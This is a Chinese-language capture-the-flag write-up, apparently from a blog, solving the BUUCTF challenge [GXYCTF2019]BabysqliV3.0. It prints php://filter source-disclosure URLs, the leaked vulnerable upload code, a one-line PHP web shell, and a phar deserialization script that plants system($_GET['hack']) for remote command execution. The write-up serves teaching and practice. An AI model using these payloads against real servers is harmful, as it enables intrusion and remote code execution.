BUUCTF刷题记录[GXYCTF2019]BabysqliV3.01——涉及phar反序列化pop链

[GXYCTF2019]BabysqliV3.0

题目是Babysqli,具有一定误导性,会让做题者认为需要sql注入,实际上打开连接输入弱口令:

即可进入

 

        至此应该可以看出来是一个文件上传的题目,点击右键查看源代码,未发现有效信息,

        在地址栏发现?file=upload,如果需要读取源码,从此处猜测应该是需要构造一个伪协议。从题目上来说,需要查看源码进行代码审计,于是构造一个payload:

http://d9dda7b1-60e6-4be2-ba3c-0a67b283c47f.node4.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=upload

这里需要注意,查看upload.php源代码,后面的resource需要等于upload,不要加.php,程序会自动添加.php,如果添加.php系统自动转化为.fxxkyou!。就会成以下结果:

        于是我们构造两个payload,一个查看home的源代码,一个查看upload的源代码,分别是以下代码:

http://d9dda7b1-60e6-4be2-ba3c-0a67b283c47f.node4.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=home





http://d9dda7b1-60e6-4be2-ba3c-0a67b283c47f.node4.buuoj.cn:81/home.php?file=php://filter/convert.base64-encode/resource=upload

        输入构造的home源代码payload如下图:

        需要对以上输出的编码进行解码:

        以上解码后的代码即是home.php代码:

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}
		else{
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
				$file = $_GET['file'].".php";
			}
			else{
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "当前引用的是 ".$file;
			require $file;
		}
		
	}
	else{
		die("no permission!");
	}
}
?>

        同理获得upload.php源代码:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	

	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>

         

------------------------------------------开------始------作------答-------------------------------------------------------------------------------------

        非预期解1:

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

        根据以上代码。我们可以看到其中有file_get_contents($uploader)方法,读取文件内容。根据代码分析,网站目录下肯定有一个文件为flag,我们可以利用这个读取文件的函数,读取flag文件,而且,文中并没有对flag进行过滤,因此可以通过将Filename参数改为flag的路径来读取flag信息。

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
}

        正好在以上代码中,有设置Filename的方法,就是get到name,控制name的值,改变Filename,我们可以把name参数作为Filename,payload后面为:/home.php?file=upload&name=/var/www/html/flag.php,先访问一下,然后上传一个规则内的文件,伴随着/home.php?file=upload&name=/var/www/html/flag.php一起提交。

即可得到flag{d12cc148-9a0c-464f-8b3e-257b3587e3b2}

       

        非预期解2

        由以上代码分析,该上传文件没有过滤php文件,即可直接上传php文件,连接一句话木马,进行直接输出flag。(也可以上传完一句话木马之后,通过蚁剑连接,找到flag)

        写a.php文件代码如下:

<?php
 @eval($_GET['hack']);
?>

        选择a.php文件上传

        上传的同时使用bp抓包,修改hack参数。,bp界面如下:

        网站的payload如下:

        查询出来有flag.php,使用cat进行读取:

        cat的payload为:(注意中间的空格需要用url编码更换)http://abfcde4a-2eee-4bc8-b3ad-9392c1bb3fa6.node4.buuoj.cn:81/a.php?hack=system(%27cat%20flag.php%27);

        payload加载以后,界面为空,点击右键查看源代码,即可找到flag;

      

        使用bp截图如下:

flag{a5685ea4-e60f-4eb4-9934-0eda3dcd643b}

        预期解       

        审计 upload.php 代码,发现eval($this->cmd);类似于一句话木马的操作,如果能够触发这个方法,那么就可以使用类似cmd='echo system(eval($_GET["hack"]);'这种方法传入一个新的参数hack,再令hack参数为cat flag.php读取flag。

        如果需要触发eval($this->cmd);那么就需要$this->token = $_SESSION['user'],如果需要执行$this->token = $_SESSION['user'],就需要执行__destruct()方法。

        __destruct()该方法为析构函数。只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁⼀个对象之前执⾏⼀些特定的操作,例如关闭⽂件、释放结果集等。

        换言之,就是该程序会在马上结束全部程序的时候自动执行该函数。eval($this->cmd);根据this指针,需要new一个Uploader。

        接着分析以下代码:

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

        上传一个文件,使得uploader这个对象,可以调用他自身的upload方法传入一个文件,那么我们开始看upload这个方法:

function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

        定义两个全局变量,global $sandbox;global $ext;前者是路径,后者是后缀名,我们可以看到,正则匹配,文件名不允许a-z0-9这些字符。

        例如:[^a-zA-Z] 简单来说就是任意一个非字母的字符,虽然可以匹配除字母之外的任意字符,但只能是一个,不是多个。
        如果想匹配多个非字母的字符,需要在后面加量词修饰,如[^a-zA-Z]+ 表示1个或多个非字母字符。[^a-zA-Z]{5,10} 给示5到10个除字母之外的字符。

        因此,[^a-z0-9]的意思就是该文件名不能是小写字母和数字开头的,否则输出illegal filename! 且文件大小必须小于1024。

        接着往下走,我们下面可以看到该文件中还有包含着两个魔术函数PHP: 魔术方法 - Manual

function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}

        一个是__toString方法,一个是__destruct方法,__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。__destruct方法上面已经讲过。

        因此,如果需要执行__toString方法,需要一个upload对象,被当作字符串进行echo,我们可以看到在echo file_get_contents($uploader);这串代码里,对象$uploader被读取内容后,被当作字符串输出,这时候就会调用__toString方法,__toString方法调用后,回返回一个$this->Filename;

        而这个Filename我们分析:

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
				}

        Filename由name传递参数得到。如果传入phar://文件,就会通过file_get_contents()进行反序列化操作,执行cmd

        分析完毕开始操作

       我们先根据网站提示上传一个符合条件的txt文档:

        可以看到,网站自动输出文件路径,结合 upload.php文件进行分析,

$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		//getcwd取得当前工作目录,成功则返回当前工作目录,失败返回 false。 
		//网站输出为/var/www/html/uploads/df4d4167ab7e573ffe9b4fd92b19c4e9/GXY4de07d94caf018e1453439fff2b2375b.txt
		//即getcwd为/var/www/html/,md5($_SESSION['user'])为df4d4167ab7e573ffe9b4fd92b19c4e9,
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
			//这里可以看到GXY4de07d94caf018e1453439fff2b2375b.txt就是$_SESSION['user'].$ext
		}

         根据以上代码分析,可以得到$_SESSION['user']为GXY4de07d94caf018e1453439fff2b2375b     

构造payload文件:phar.php

<?php


class Uploader{
		public $Filename = 'aaa';
		//public $cmd ='echo phpinfo();';//可先用此测试
		public $cmd ='echo system($_GET["hack"]);';//传递一个可控hack参数
		public $token ='GXY4de07d94caf018e1453439fff2b2375b';//先上串一个合法文件得到session['user']
		
}

@unlink("demo.phar");
$phar = new Phar("demo.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF8a<?php __HALT_COMPILER();?>");
$o    = new Uploader();
$phar -> setMetadata($o);//将自定义的meta-data存入manifest
$phar -> addFromString("text.txt","test");//添加要压缩的文件
//签名自动计算
$phar -> stopBuffering();

?>

运行以上代码,在当前目录生成文件demo.phar(注意:运行当前代码,需要修改php.ini中的phar.readonly = On 改成 Off,且注意phar.readonly前面的;记得去除

 

 运行phar.php代码:

当前目录生成dem.php文件:

上传demo.phar文件到网站。 

 使用bp抓包,构造如下payload:

/home.php?file=upload&name=phar:///var/www/html/uploads/df4d4167ab7e573ffe9b4fd92b19c4e9/GXY4de07d94caf018e1453439fff2b2375b.txt/aaa&hack=ls

可以看到bp右边已经有结果出现,ls查询到了有flag.php,那么为我们把传进去的hack参数改为(cat%20flag.php)即可获得flag

回顾:

        攻击链:

         file_get_contents()使$uploader对象通过__toString()返回$this->Filename,
由于phar://伪协议可以不依赖unserialize()直接进行反序列化操作,加之$this->Filename可控,因此此处通过name传参,$this->Filename配合phar反序列化后,__destruct()方法eval($this->cmd);最终导致了远程代码执行。

        (注:我们自己写的phar.php中利用了__destruct()方法eval($this->cmd);cmd传递了我们自己的一个参数hack,我们在利用hack做了查询等语句)

public $cmd ='echo system($_GET["hack"]);';

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值